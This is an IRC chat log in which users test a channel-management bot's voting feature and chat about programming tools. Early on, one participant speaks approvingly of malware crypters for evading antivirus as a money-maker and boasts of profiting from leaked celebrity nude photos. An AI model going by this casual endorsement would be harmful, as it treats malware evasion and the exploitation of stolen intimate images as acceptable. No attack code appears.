[2014-11-23T01:19:13-0500] <+LittleBobbyTables> Tamini: due to the fact that I'm lazy and don't want to refud when files become detected :/
[2014-11-23T01:20:46-0500] <~awe> I don't know what refud means.
[2014-11-23T01:21:34-0500] <+LittleBobbyTables> nvm then
[2014-11-23T01:21:40-0500] <~awe> Oh, a crypter as in a thing to circumvent antiviruses.
[2014-11-23T01:21:49-0500] <+LittleBobbyTables> :/
[2014-11-23T01:22:22-0500] <~awe> And ReFUD as in make it circumvent again once it fails to do so
[2014-11-23T01:22:24-0500] <~awe> I gotchu.
[2014-11-23T01:22:29-0500] <~awe> I have no idea how to do that.
[2014-11-23T01:22:32-0500] <~awe> But I understand.
[2014-11-23T01:22:35-0500] <+LittleBobbyTables> Well that's rather unfortunate.
[2014-11-23T01:23:23-0500] <+LittleBobbyTables> If you figure out how to
[2014-11-23T01:23:31-0500] <+LittleBobbyTables> You can make a ton of money with it, just fyi.
[2014-11-23T01:23:37-0500] <~awe> I know.
[2014-11-23T01:23:42-0500] <~awe> I could do the same thing writing maplestory hacks
[2014-11-23T01:23:48-0500] <~awe> My friend has thousands of dollars from doing that. .-.
[2014-11-23T01:24:39-0500] <+LittleBobbyTables> https://www.youtube.com/watch?v=Aev1DVGjyJs
[2014-11-23T01:25:24-0500] <Tamini> wait awe
[2014-11-23T01:25:25-0500] <Tamini> actually
[2014-11-23T01:25:26-0500] <Tamini> LOL
[2014-11-23T01:26:20-0500] <+LittleBobbyTables> I've made money from various means like that as well.
[2014-11-23T01:26:29-0500] <+LittleBobbyTables> Fappening was a wonderful time.
[2014-11-23T01:26:45-0500] <+LittleBobbyTables> 1.6 before GO came out
[2014-11-23T01:26:57-0500] <nezorg> ...
[2014-11-23T01:27:17-0500] <+LittleBobbyTables> Don't ellipse me :(
[2014-11-23T01:37:44-0500] <~awe> LittleBobbyTables: Wow, you made money legitimately selling celebrity nudes and you won't give me $60 to help me smoke weed?
[2014-11-23T01:37:45-0500] <~awe> LittleBobbyTables: Dick.
[2014-11-23T01:38:23-0500] <nezorg> http://arstechnica.com/security/2014/11/using-a-password-manager-on-android-it-may-be-wide-open-to-sniffing-attacks/ fuck
[2014-11-23T01:38:34-0500] <+LittleBobbyTables> lol
[2014-11-23T01:38:47-0500] <~awe> LittleBobbyTables: pls bobby pls
[2014-11-23T01:38:59-0500] <~awe> Mary Jane, she needs me!
[2014-11-23T01:39:07-0500] <+LittleBobbyTables> I've spent most of it :(
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[2014-11-23T01:40:11-0500] <~awe> Services will be down for a few.
[2014-11-23T01:41:28-0500] <nezorg> I'm tired
[2014-11-23T01:41:30-0500] <nezorg> night
[2014-11-23T01:41:44-0500] <+LittleBobbyTables> Night nezorg.
[2014-11-23T01:42:08-0500] <~awe> Good night, nezorg 
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[2014-11-23T01:42:30-0500] Pidgey sets mode +a Pidgey
[2014-11-23T01:42:30-0500] Pidgey changed the topic to Pidgey now has a small assortment of features. | Pidgey on GitHub: https://github.com/aaronweiss74/irc-services. | Democracy RFC: https://gist.github.com/aaronweiss74/ff945955cabd26e2a2be
[2014-11-23T01:42:37-0500] awe sets mode +v Somebody27
[2014-11-23T01:42:37-0500] Pidgey sets mode -v Somebody27
[2014-11-23T01:42:42-0500] awe sets mode +v awe
[2014-11-23T01:42:42-0500] Pidgey sets mode -v awe
[2014-11-23T01:42:54-0500] <~awe> Oh, duh.
[2014-11-23T01:43:00-0500] <~awe> Nobody is identified right now because Pidgey restarted.
[2014-11-23T01:43:34-0500] awe sets mode +v awe
[2014-11-23T01:43:36-0500] <~awe> There we go.
[2014-11-23T01:43:38-0500] <~awe> Cool.
[2014-11-23T01:43:50-0500] <~awe> LittleBobbyTables: go identify?
[2014-11-23T01:44:02-0500] <+LittleBobbyTables> Fine.
[2014-11-23T01:44:07-0500] <~awe> I want to test voting.
[2014-11-23T01:44:15-0500] <~awe> .propose oper LittleBobbyTables
[2014-11-23T01:44:15-0500] <&Pidgey> Proposal 0 is live.
[2014-11-23T01:44:20-0500] <~awe> .vote 0 yea
[2014-11-23T01:44:20-0500] <&Pidgey> Vote issued.
[2014-11-23T01:44:20-0500] Pidgey sets mode +o LittleBobbyTables
[2014-11-23T01:44:20-0500] <&Pidgey> Enacted proposal to oper LittleBobbyTables.
[2014-11-23T01:44:26-0500] <~awe> .propose deop LittleBobbyTables 
[2014-11-23T01:44:30-0500] <~awe> .propose deop LittleBobbyTables
[2014-11-23T01:44:30-0500] <&Pidgey> Proposal 0 is live.
[2014-11-23T01:44:33-0500] <@LittleBobbyTables> .vote 0 nay
[2014-11-23T01:44:33-0500] <&Pidgey> Vote issued.
[2014-11-23T01:44:33-0500] Pidgey sets mode -o LittleBobbyTables
[2014-11-23T01:44:33-0500] <&Pidgey> Enacted proposal to deop LittleBobbyTables.
[2014-11-23T01:44:41-0500] <~awe> Cool.
[2014-11-23T01:44:47-0500] <ubuntor> neat
[2014-11-23T01:44:49-0500] <+LittleBobbyTables> But I said nay :(
[2014-11-23T01:44:58-0500] <~awe> Oh, wait.
[2014-11-23T01:45:00-0500] <~awe> That's fair.
[2014-11-23T01:45:04-0500] <~awe> That's a bug.
[2014-11-23T01:45:34-0500] <+LittleBobbyTables> .vote 1 yay
[2014-11-23T01:45:34-0500] <&Pidgey> yay is not a valid vote.
[2014-11-23T01:45:39-0500] <+LittleBobbyTables> .vote 1 yea
[2014-11-23T01:45:39-0500] <&Pidgey> 1 is not a valid proposal.
[2014-11-23T01:45:44-0500] <+LittleBobbyTables> .vote 0 nay
[2014-11-23T01:45:44-0500] <&Pidgey> 0 is not a valid proposal.
[2014-11-23T01:45:47-0500] <+LittleBobbyTables> :(
[2014-11-23T01:45:51-0500] <~awe> .propose deop LittleBobbyTables 
[2014-11-23T01:45:54-0500] <+LittleBobbyTables> .propose voice Tamini 
[2014-11-23T01:45:57-0500] <~awe> .propose oper LittleBobbyTables
[2014-11-23T01:45:57-0500] <&Pidgey> Proposal 0 is live.
[2014-11-23T01:46:03-0500] <~awe> .vote 0 nay
[2014-11-23T01:46:03-0500] <&Pidgey> Vote issued.
[2014-11-23T01:46:03-0500] Pidgey sets mode +o LittleBobbyTables
[2014-11-23T01:46:03-0500] <&Pidgey> Enacted proposal to oper LittleBobbyTables.
[2014-11-23T01:46:07-0500] <~awe> ... why?
[2014-11-23T01:46:15-0500] <@LittleBobbyTables> you broke it
[2014-11-23T01:46:44-0500] <~awe> Oh.
[2014-11-23T01:46:52-0500] <~awe> When I remove a proposal
[2014-11-23T01:46:56-0500] <~awe> I have to delete all the votes for it.
[2014-11-23T01:46:56-0500] <~awe> Duh.
[2014-11-23T01:47:16-0500] <@LittleBobbyTables> lol
[2014-11-23T01:48:54-0500] <~awe> I had an identical bug in Resistance. xD
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[2014-11-23T01:52:33-0500] Pidgey sets mode +a Pidgey
[2014-11-23T01:52:33-0500] Pidgey changed the topic to Pidgey now has a small assortment of features. | Pidgey on GitHub: https://github.com/aaronweiss74/irc-services. | Democracy RFC: https://gist.github.com/aaronweiss74/ff945955cabd26e2a2be
[2014-11-23T01:52:50-0500] <~awe> .propose oper LittleBobbyTables
[2014-11-23T01:52:50-0500] <&Pidgey> Proposal 0 is live.
[2014-11-23T01:52:55-0500] <~awe> .vote 0 nay
[2014-11-23T01:52:55-0500] <&Pidgey> Vote issued.
[2014-11-23T01:53:01-0500] <~awe> .vote 0 yea
[2014-11-23T01:53:01-0500] <&Pidgey> Vote issued.
[2014-11-23T01:53:02-0500] <~awe> .vote 0 yea
[2014-11-23T01:53:02-0500] <&Pidgey> Vote issued.
[2014-11-23T01:53:03-0500] <~awe> .vote 0 yea
[2014-11-23T01:53:03-0500] <&Pidgey> Vote issued.
[2014-11-23T01:53:03-0500] <~awe> .vote 0 yea
[2014-11-23T01:53:03-0500] <&Pidgey> Vote issued.
[2014-11-23T01:53:04-0500] <~awe> .vote 0 yea
[2014-11-23T01:53:04-0500] <&Pidgey> Vote issued.
[2014-11-23T01:53:04-0500] <~awe> .vote 0 yea
[2014-11-23T01:53:04-0500] <&Pidgey> Vote issued.
[2014-11-23T01:53:05-0500] <~awe> .vote 0 yea
[2014-11-23T01:53:05-0500] <&Pidgey> Vote issued.
[2014-11-23T01:53:07-0500] <~awe> Hmm.
[2014-11-23T01:53:42-0500] <~awe> Oh, you can't overwrite your vote here.
[2014-11-23T01:53:51-0500] <~awe> LittleBobbyTables: identify, then .vote 0 yea
[2014-11-23T01:53:55-0500] <~awe> .propose deop LittleBobbyTables 
[2014-11-23T01:53:58-0500] <~awe> .propose deop LittleBobbyTables
[2014-11-23T01:53:58-0500] <&Pidgey> Proposal 1 is live.
[2014-11-23T01:54:00-0500] <~awe> .vote 1 yea
[2014-11-23T01:54:00-0500] <&Pidgey> Vote issued.
[2014-11-23T01:54:00-0500] Pidgey sets mode -o LittleBobbyTables
[2014-11-23T01:54:00-0500] <&Pidgey> Enacted proposal to deop LittleBobbyTables.
[2014-11-23T01:54:02-0500] <~awe> lol
[2014-11-23T01:54:29-0500] <+LittleBobbyTables> .vote 0 yea
[2014-11-23T01:54:29-0500] <&Pidgey> Vote issued.
[2014-11-23T01:54:29-0500] Pidgey sets mode +o LittleBobbyTables
[2014-11-23T01:54:29-0500] <&Pidgey> Enacted proposal to oper LittleBobbyTables.
[2014-11-23T01:54:32-0500] <@LittleBobbyTables> .vote 1 nay
[2014-11-23T01:54:32-0500] <&Pidgey> 1 is not a valid proposal.
[2014-11-23T01:54:37-0500] <~awe> .propose deop LittleBobbyTables
[2014-11-23T01:54:37-0500] <&Pidgey> Proposal 1 is live.
[2014-11-23T01:54:39-0500] <~awe> .vote 1 yea
[2014-11-23T01:54:39-0500] <&Pidgey> Vote issued.
[2014-11-23T01:54:39-0500] Pidgey sets mode -o LittleBobbyTables
[2014-11-23T01:54:39-0500] <&Pidgey> Enacted proposal to deop LittleBobbyTables.
[2014-11-23T01:54:42-0500] <+LittleBobbyTables> .vot 1 nay
[2014-11-23T01:54:43-0500] <+LittleBobbyTables> :(
[2014-11-23T01:54:49-0500] <+LittleBobbyTables> .vote 1 nay
[2014-11-23T01:54:49-0500] <&Pidgey> 1 is not a valid proposal.
[2014-11-23T01:54:52-0500] <+LittleBobbyTables> sad
[2014-11-23T01:54:53-0500] <~awe> .propose chown Pidgey
[2014-11-23T01:54:53-0500] <&Pidgey> Proposal 1 is live.
[2014-11-23T01:54:55-0500] <~awe> .vote 1 yea
[2014-11-23T01:54:55-0500] <&Pidgey> Vote issued.
[2014-11-23T01:54:55-0500] <&Pidgey> Enacted proposal to change the owner to Pidgey.
[2014-11-23T01:55:01-0500] <+LittleBobbyTables> .vote 1 nay
[2014-11-23T01:55:01-0500] <&Pidgey> 1 is not a valid proposal.
[2014-11-23T01:55:11-0500] <+LittleBobbyTables> pls
[2014-11-23T01:55:37-0500] <~awe> .propose chown awe
[2014-11-23T01:55:37-0500] <&Pidgey> Proposal 1 is live.
[2014-11-23T01:55:39-0500] <~awe> .vote 1 yea
[2014-11-23T01:55:39-0500] <&Pidgey> Vote issued.
[2014-11-23T01:55:39-0500] <&Pidgey> Enacted proposal to change the owner to awe.
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[2014-11-23T01:56:26-0500] <+LittleBobbyTables> http://www.youtube.com/watch?v=C5ljT8jM5ro&feature=youtu.be
[2014-11-23T01:58:32-0500] <+LittleBobbyTables> Man, those YouTube comments are horrid
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[2014-11-23T02:01:03-0500] <~awe> LittleBobbyTables: They always are.
[2014-11-23T02:01:25-0500] Pidgey (services@services.pdgn.co) joined the channel
[2014-11-23T02:01:31-0500] Pidgey sets mode +a Pidgey
[2014-11-23T02:01:31-0500] Pidgey changed the topic to Pidgey now has a small assortment of features. | Pidgey on GitHub: https://github.com/aaronweiss74/irc-services. | Democracy RFC: https://gist.github.com/aaronweiss74/ff945955cabd26e2a2be
[2014-11-23T02:02:30-0500] <+LittleBobbyTables> .propose oper LittleBobbyTables 
[2014-11-23T02:02:41-0500] <~awe> Can't have a space right now.
[2014-11-23T02:02:51-0500] <+LittleBobbyTables> .propose oper LittleBobbyTables
[2014-11-23T02:02:51-0500] <&Pidgey> Proposal 0 is live.
[2014-11-23T02:02:55-0500] <+LittleBobbyTables> .vote 0 nay
[2014-11-23T02:02:55-0500] <&Pidgey> Vote issued.
[2014-11-23T02:02:58-0500] <~awe> lol
[2014-11-23T02:03:07-0500] <+LittleBobbyTables> Well you got that working :P
[2014-11-23T02:03:15-0500] <~awe> .vote 0 yea
[2014-11-23T02:03:15-0500] <&Pidgey> Vote issued.
[2014-11-23T02:03:15-0500] Pidgey sets mode +o LittleBobbyTables
[2014-11-23T02:03:15-0500] <&Pidgey> Enacted proposal to oper LittleBobbyTables.
[2014-11-23T02:03:22-0500] <@LittleBobbyTables> hmm
[2014-11-23T02:03:43-0500] <@LittleBobbyTables> So once it gets 40% yay?
[2014-11-23T02:03:48-0500] <~awe> Yeah.
[2014-11-23T02:04:02-0500] <~awe> 40% of all the +v users
[2014-11-23T02:04:04-0500] <~awe> which right now is like
[2014-11-23T02:04:05-0500] <~awe> 4
[2014-11-23T02:04:07-0500] <~awe> or 3.
[2014-11-23T02:04:16-0500] <@LittleBobbyTables> Me, you, james
[2014-11-23T02:04:19-0500] <@LittleBobbyTables> Tamini I think s?
[2014-11-23T02:04:22-0500] <@LittleBobbyTables> is*
[2014-11-23T02:04:25-0500] <~awe> james isn't permanently +v'd.
[2014-11-23T02:04:40-0500] <~awe> It's just me you Tamini.
[2014-11-23T02:04:50-0500] <~awe> If I tried to +v james right now, since he's not identified, it'd devoice him.
[2014-11-23T02:04:52-0500] <~awe> watch.
[2014-11-23T02:05:04-0500] awe sets mode -v james
[2014-11-23T02:05:07-0500] awe sets mode +v james
[2014-11-23T02:05:07-0500] Pidgey sets mode -v james
[2014-11-23T02:05:55-0500] <~awe> .propose deop LittleBobbyTables
[2014-11-23T02:05:55-0500] <&Pidgey> Proposal 0 is live.
[2014-11-23T02:05:58-0500] <~awe> .vote 0 yea
[2014-11-23T02:05:58-0500] <&Pidgey> Vote issued.
[2014-11-23T02:05:58-0500] Pidgey sets mode -o LittleBobbyTables
[2014-11-23T02:05:58-0500] <&Pidgey> Enacted proposal to deop LittleBobbyTables.
[2014-11-23T02:06:13-0500] <~awe> .propose mode +i
[2014-11-23T02:06:13-0500] <&Pidgey> Proposal 0 is live.
[2014-11-23T02:06:16-0500] <~awe> .vote 0 yea
[2014-11-23T02:06:16-0500] <&Pidgey> Vote issued.
[2014-11-23T02:06:16-0500] Pidgey sets mode +i
[2014-11-23T02:06:16-0500] <&Pidgey> Enacted proposal to change the channel mode to +i.
[2014-11-23T02:06:27-0500] <~awe> .propose mode -i
[2014-11-23T02:06:27-0500] <&Pidgey> Proposal 0 is live.
[2014-11-23T02:06:30-0500] <~awe> .vote 0 yea
[2014-11-23T02:06:30-0500] <&Pidgey> Vote issued.
[2014-11-23T02:06:30-0500] Pidgey sets mode -i
[2014-11-23T02:06:30-0500] <&Pidgey> Enacted proposal to change the channel mode to -i.
[2014-11-23T02:07:07-0500] <~awe> .propose topic Hi.
[2014-11-23T02:07:07-0500] <&Pidgey> Proposal 0 is live.
[2014-11-23T02:07:09-0500] <~awe> .vote 0 yea
[2014-11-23T02:07:09-0500] <&Pidgey> Vote issued.
[2014-11-23T02:07:09-0500] Pidgey changed the topic to Hi.
[2014-11-23T02:07:09-0500] <&Pidgey> Enacted proposal to change the topic to Hi..
[2014-11-23T02:07:15-0500] awe changed the topic to Pidgey now has a small assortment of features. | Pidgey on GitHub: https://github.com/aaronweiss74/irc-services. | Democracy RFC: https://gist.github.com/aaronweiss74/ff945955cabd26e2a2be
[2014-11-23T02:07:15-0500] <+LittleBobbyTables> http://www.youtube.com/watch?v=zUx3h63Xbpk
[2014-11-23T02:07:39-0500] <~awe> I've got to fix the fact that topic doesn't quite work.
[2014-11-23T02:08:11-0500] <+LittleBobbyTables> You have topic lock on.
[2014-11-23T02:08:13-0500] <+LittleBobbyTables> Most likely
[2014-11-23T02:08:17-0500] <~awe> No, not that.
[2014-11-23T02:08:28-0500] <~awe> Topic changes work.
[2014-11-23T02:08:33-0500] <~awe> New topics can just only be one word. xD
[2014-11-23T02:11:53-0500] <+LittleBobbyTables> well fix it
[2014-11-23T02:11:57-0500] <+LittleBobbyTables> also i should go to bed soon
[2014-11-23T02:12:42-0500] <+LittleBobbyTables> "I love your hands 'cause your fingerprints are like no other
[2014-11-23T02:12:42-0500] <+LittleBobbyTables> I love your eyes and their blueish brownish greenish color
[2014-11-23T02:12:42-0500] <+LittleBobbyTables> I love it when you smile, that you smile wide
[2014-11-23T02:12:42-0500] <+LittleBobbyTables> And I love how your torso has an arm on either side."
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[2014-11-23T02:14:24-0500] <~awe> .propose topic Pidgey now has a small assortment of features. | Pidgey on GitHub: https://github.com/aaronweiss74/irc-services. | Democracy RFC: https://gist.github.com/aaronweiss74/ff945955cabd26e2a2be
[2014-11-23T02:14:26-0500] Pidgey sets mode +a Pidgey
[2014-11-23T02:14:26-0500] Pidgey changed the topic to Pidgey now has a small assortment of features. | Pidgey on GitHub: https://github.com/aaronweiss74/irc-services. | Democracy RFC: https://gist.github.com/aaronweiss74/ff945955cabd26e2a2be
[2014-11-23T02:14:28-0500] <&Pidgey> Proposal 0 is live.
[2014-11-23T02:14:35-0500] <~awe> .vote 0 yea
[2014-11-23T02:14:35-0500] <&Pidgey> Vote issued.
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[2014-11-23T02:14:39-0500] <~awe> What?
[2014-11-23T02:14:39-0500] <+LittleBobbyTables> lel
[2014-11-23T02:14:45-0500] <~awe> Division by zero.
[2014-11-23T02:14:59-0500] <~awe> Ah, it's because I wasn't identified.
[2014-11-23T02:15:03-0500] <~awe> But I somehow made a proposal.
[2014-11-23T02:15:12-0500] Pidgey (services@services.pdgn.co) joined the channel
[2014-11-23T02:15:18-0500] Pidgey sets mode +a Pidgey
[2014-11-23T02:15:18-0500] Pidgey changed the topic to Pidgey now has a small assortment of features. | Pidgey on GitHub: https://github.com/aaronweiss74/irc-services. | Democracy RFC: https://gist.github.com/aaronweiss74/ff945955cabd26e2a2be
[2014-11-23T02:15:31-0500] <~awe> .propose topic Pidgey now has a small assortment of features. | Pidgey on GitHub: https://github.com/aaronweiss74/irc-services. | Democracy RFC: https://gist.github.com/aaronweiss74/ff945955cabd26e2a2be
[2014-11-23T02:15:31-0500] <&Pidgey> Proposal 0 is live.
[2014-11-23T02:15:33-0500] <~awe> .vote 0 yea
[2014-11-23T02:15:33-0500] <&Pidgey> Vote issued.
[2014-11-23T02:15:33-0500] Pidgey changed the topic to Pidgey now has a small assortment of features. | Pidgey on GitHub: https://github.com/aaronweiss74/irc-services. | Democracy RFC: https://gist.github.com/aaronweiss74/ff945955cabd26e2a2be
[2014-11-23T02:15:33-0500] <&Pidgey> Enacted proposal to change the topic to Pidgey now has a small assortment of features. | Pidgey on GitHub: https://github.com/aaronweiss74/irc-services. | Democracy RFC: https://gist.github.com/aaronweiss74/ff945955cabd26e2a2be.
[2014-11-23T02:15:39-0500] <+LittleBobbyTables> ugh
[2014-11-23T02:15:43-0500] <~awe> That's annoying, but it works.
[2014-11-23T02:15:47-0500] <+LittleBobbyTables> That was a lot of githubs opening.
[2014-11-23T02:16:03-0500] <+LittleBobbyTables> .propose oper LittleBobbyTables
[2014-11-23T02:16:03-0500] <&Pidgey> Proposal 0 is live.
[2014-11-23T02:16:08-0500] <+LittleBobbyTables> .propose deop LittleBobbyTables
[2014-11-23T02:16:08-0500] <&Pidgey> Proposal 1 is live.
[2014-11-23T02:16:12-0500] <+LittleBobbyTables> .vote 1 yay
[2014-11-23T02:16:12-0500] <&Pidgey> yay is not a valid vote.
[2014-11-23T02:16:17-0500] <+LittleBobbyTables> .vote 1 yea
[2014-11-23T02:16:17-0500] <&Pidgey> Vote issued.
[2014-11-23T02:16:17-0500] <&Pidgey> Enacted proposal to deop LittleBobbyTables.
[2014-11-23T02:16:26-0500] <+LittleBobbyTables> .vote 0 yea
[2014-11-23T02:16:26-0500] <&Pidgey> Vote issued.
[2014-11-23T02:16:26-0500] Pidgey sets mode +o LittleBobbyTables
[2014-11-23T02:16:26-0500] <&Pidgey> Enacted proposal to oper LittleBobbyTables.
[2014-11-23T02:16:28-0500] <@LittleBobbyTables> hmm
[2014-11-23T02:16:34-0500] <~awe> LittleBobbyTables: I'll leave you as an oper.
[2014-11-23T02:16:36-0500] <~awe> I think you've earned it.
[2014-11-23T02:16:38-0500] <@LittleBobbyTables> How else can I break pidgey...
[2014-11-23T02:16:51-0500] <~awe> After all, you do all the testing for this stuff when I haven't written unit tests.
[2014-11-23T02:16:56-0500] <@LittleBobbyTables> .vote -1 yea
[2014-11-23T02:16:56-0500] <&Pidgey> 0 is not a valid proposal.
[2014-11-23T02:17:01-0500] <@LittleBobbyTables> huh.
[2014-11-23T02:17:03-0500] <@LittleBobbyTables> That's weir
[2014-11-23T02:17:35-0500] <~awe> It's not that weird.
[2014-11-23T02:17:38-0500] <~awe> Unsigned types, brah.
[2014-11-23T02:18:05-0500] <@LittleBobbyTables> hmm
[2014-11-23T02:18:07-0500] <@LittleBobbyTables> Fair enough
[2014-11-23T02:18:16-0500] <~awe> That was an intentional thing.
[2014-11-23T02:18:20-0500] <@LittleBobbyTables> so what about
[2014-11-23T02:18:21-0500] <~awe> Did I imagine anyone would ever type -1?
[2014-11-23T02:18:22-0500] <~awe> No.
[2014-11-23T02:18:27-0500] <~awe> But at least it doesn't break.
[2014-11-23T02:18:37-0500] <@LittleBobbyTables> .vote 4160000000 yea
[2014-11-23T02:18:37-0500] <&Pidgey> 0 is not a valid proposal.
[2014-11-23T02:18:42-0500] <@LittleBobbyTables> .vote 416000000 yea
[2014-11-23T02:18:42-0500] <&Pidgey> 0 is not a valid proposal.
[2014-11-23T02:18:45-0500] <@LittleBobbyTables> .vote 41600000 yea
[2014-11-23T02:18:45-0500] <&Pidgey> 0 is not a valid proposal.
[2014-11-23T02:18:48-0500] <@LittleBobbyTables> :/
[2014-11-23T02:18:58-0500] <@LittleBobbyTables> Either my math is terribly wrong
[2014-11-23T02:19:06-0500] <@LittleBobbyTables> .vote 10 yea
[2014-11-23T02:19:06-0500] <&Pidgey> 10 is not a valid proposal.
[2014-11-23T02:19:22-0500] <~awe> it's only 8-bit.
[2014-11-23T02:19:25-0500] <@LittleBobbyTables> 2 147000000
[2014-11-23T02:19:27-0500] <@LittleBobbyTables> Oh
[2014-11-23T02:19:27-0500] <@LittleBobbyTables> ok.
[2014-11-23T02:19:28-0500] <~awe> .vote 256 yea
[2014-11-23T02:19:28-0500] <&Pidgey> 0 is not a valid proposal.
[2014-11-23T02:19:31-0500] <@LittleBobbyTables> That would explain it.
[2014-11-23T02:19:32-0500] <~awe> .vote 255 yea
[2014-11-23T02:19:32-0500] <&Pidgey> 255 is not a valid proposal.
[2014-11-23T02:19:34-0500] <~awe> See.
[2014-11-23T02:19:43-0500] <@LittleBobbyTables> Who uses 8bits still
[2014-11-23T02:19:47-0500] <~awe> Me.
[2014-11-23T02:19:48-0500] <~awe> A lot.
[2014-11-23T02:19:54-0500] <~awe> Save memory.
[2014-11-23T02:19:59-0500] <@LittleBobbyTables> true
[2014-11-23T02:20:16-0500] <~awe> If you know you'll never need more than 255 of something, why use anything larger than a u8?
[2014-11-23T02:20:45-0500] <@LittleBobbyTables> Good question.
[2014-11-23T02:21:04-0500] <@LittleBobbyTables> .vote 511 yea
[2014-11-23T02:21:04-0500] <&Pidgey> 0 is not a valid proposal.
[2014-11-23T02:21:41-0500] <@LittleBobbyTables> .vote asdf yea
[2014-11-23T02:21:41-0500] <&Pidgey> 0 is not a valid proposal.
[2014-11-23T02:21:47-0500] <@LittleBobbyTables> Can't think of much else
[2014-11-23T02:21:55-0500] <@LittleBobbyTables> .propose kickban pidgey
[2014-11-23T02:21:55-0500] <&Pidgey> kickban is not a valid option for a proposal.
[2014-11-23T02:22:00-0500] <@LittleBobbyTables> .propose options
[2014-11-23T02:22:05-0500] <@LittleBobbyTables> :/
[2014-11-23T02:23:48-0500] <~awe> That's a good point lol.
[2014-11-23T02:23:55-0500] <~awe> You could .propose kick Pidgey 
[2014-11-23T02:23:58-0500] <~awe> Please don't though.
[2014-11-23T02:24:32-0500] <@LittleBobbyTables> lol
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[2014-11-23T02:28:02-0500] Pidgey changed the topic to Pidgey now has a small assortment of features. | Pidgey on GitHub: https://github.com/aaronweiss74/irc-services. | Democracy RFC: https://gist.github.com/aaronweiss74/ff945955cabd26e2a2be
[2014-11-23T02:28:10-0500] <~awe> .propose kick Pidgey
[2014-11-23T02:28:10-0500] <&Pidgey> Proposal 0 is live.
[2014-11-23T02:28:12-0500] <~awe> .vote 0 yea
[2014-11-23T02:28:12-0500] <&Pidgey> Vote issued.
[2014-11-23T02:28:12-0500] <&Pidgey> Votes about me cannot be enacted.
[2014-11-23T02:29:33-0500] <@LittleBobbyTables>  https://www.youtube.com/watch?v=0hAXEoXCEi4
[2014-11-23T02:29:43-0500] <@LittleBobbyTables> DotA moments are so great
[2014-11-23T02:29:47-0500] <~awe> LittleBobbyTables: I just tested in #rust, and votes fail properly, too.
[2014-11-23T02:29:59-0500] <~awe> I really need to write unit tests for this stuff stuff.
[2014-11-23T02:30:03-0500] <@LittleBobbyTables> lol
[2014-11-23T02:31:58-0500] <@LittleBobbyTables> Fuck, DotA gets emotional though...
[2014-11-23T02:32:56-0500] <~awe> LittleBobbyTables: Also, the entirety of democracy was implemented in vim. :D
[2014-11-23T02:33:04-0500] <@LittleBobbyTables> ^_^ Nice
[2014-11-23T02:33:07-0500] <@LittleBobbyTables> How do you like it/
[2014-11-23T02:33:14-0500] <~awe> I'm happy with it.
[2014-11-23T02:33:43-0500] <~awe> I'm sometimes getting stopped by the behavior when I highlight stuff, but otherwise, everything is going smoothly.
[2014-11-23T02:34:05-0500] <~awe> And what I mean is that I can't highlight something and then start typing to replace it.
[2014-11-23T02:34:27-0500] <@LittleBobbyTables> Did I give you the refactoring?
[2014-11-23T02:35:33-0500] <~awe> The refactoring?
[2014-11-23T02:36:39-0500] <@LittleBobbyTables> The plugin
[2014-11-23T02:36:52-0500] <~awe> No?
[2014-11-23T02:37:20-0500] <@LittleBobbyTables> Must have been my friend on Skype
[2014-11-23T02:37:39-0500] <@LittleBobbyTables> http://stackoverflow.com/questions/8781975/refactoring-in-vim
[2014-11-23T02:38:41-0500] <@LittleBobbyTables> I really wish my mom would get better internet.
[2014-11-23T02:38:45-0500] <@LittleBobbyTables> I miss watching streams.
[2014-11-23T02:38:54-0500] <~awe> Oh, I don't need this.
[2014-11-23T02:38:57-0500] <@LittleBobbyTables> All the emotions from various pro players.
[2014-11-23T02:39:57-0500] <@LittleBobbyTables> From a really inconsistent team almost winning the biggest tournament in the world, to underdogs beating T1 teams
[2014-11-23T02:40:07-0500] <~awe> I just meant like
[2014-11-23T02:40:11-0500] <~awe> if I decide that some block of text is shit
[2014-11-23T02:40:16-0500] <~awe> and want to replace it with something else
[2014-11-23T02:40:21-0500] <~awe> I'd normally just highlight it with my cursour
[2014-11-23T02:40:24-0500] <~awe> cursor*
[2014-11-23T02:40:25-0500] <~awe> start typing
[2014-11-23T02:40:28-0500] <~awe> and gone
[2014-11-23T02:40:29-0500] <@LittleBobbyTables> Oh
[2014-11-23T02:40:41-0500] <~awe> But that's not how highlighting works in vim.
[2014-11-23T02:40:47-0500] <~awe> It doesn't let you just start typing to replace shit.
[2014-11-23T02:41:13-0500] <~awe> Honestly, for refactoring, I just do find+replace.
[2014-11-23T02:41:20-0500] <~awe> I don't do renames that often.
[2014-11-23T02:41:49-0500] <@LittleBobbyTables> Isn't that all refactoring is? Is find+replace?
[2014-11-23T02:42:27-0500] <~awe> Well, and moving stuff around which doesn't require find+replace.
[2014-11-23T02:42:42-0500] <@LittleBobbyTables> I've only ever done find+replace
[2014-11-23T02:42:56-0500] <~awe> You've never moved a function from one file to another?
[2014-11-23T02:43:32-0500] <@LittleBobbyTables> Nope
[2014-11-23T02:45:53-0500] <@LittleBobbyTables> night
[2014-11-23T02:48:22-0500] <~awe> LittleBobbyTables: wait
[2014-11-23T02:48:29-0500] <~awe> LittleBobbyTables: haskell syntax highlighting for vim?
[2014-11-23T02:49:27-0500] <~awe> http://www.vim.org/scripts/script.php?script_id=3034 ?
[2014-11-23T02:53:20-0500] <~awe> Oh, there's built-in, it just barely highlights anything
[2014-11-23T02:53:25-0500] <~awe> (numbers and keywords and that's it)
[2014-11-23T02:53:37-0500] <~awe> (well, literals and keywords)
[2014-11-23T02:53:46-0500] <~awe> (I kind of expected highlighting of types
[2014-11-23T02:53:47-0500] <~awe> )
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[2014-11-23T05:27:08-0500] <~awe> https://github.com/aaronweiss74/awebot
[2014-11-23T05:27:11-0500] <~awe> Welp, this should be a fun project.
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[2014-11-23T09:55:54-0500] <JacobEdelman> so quite
[2014-11-23T09:55:58-0500] <JacobEdelman> or quiet?
[2014-11-23T09:56:00-0500] <JacobEdelman> I always forget
[2014-11-23T10:09:01-0500] <JacobEdelman> #study is now in progress
[2014-11-23T11:36:36-0500] <JacobEdelman> anyone here?
[2014-11-23T11:42:23-0500] <@LittleBobbyTables> No we're all dead.
[2014-11-23T11:46:02-0500] <Tamini> im
[2014-11-23T11:46:04-0500] <Tamini> sorta alive
[2014-11-23T11:46:08-0500] <Tamini> but latin convention cults
[2014-11-23T11:46:09-0500] <JacobEdelman> fun fact: until a few minutes ago hsctf had a critical code inject vulnerability
[2014-11-23T11:46:14-0500] <Tamini> LOL
[2014-11-23T11:46:18-0500] <Tamini> what was it? ;)
[2014-11-23T11:46:36-0500] <JacobEdelman> that allowed anybody to basicly force an admin to run whatever js they wanted
[2014-11-23T11:46:51-0500] <JacobEdelman> (and the entire code for our website was on github)
[2014-11-23T11:46:52-0500] <JacobEdelman> simple
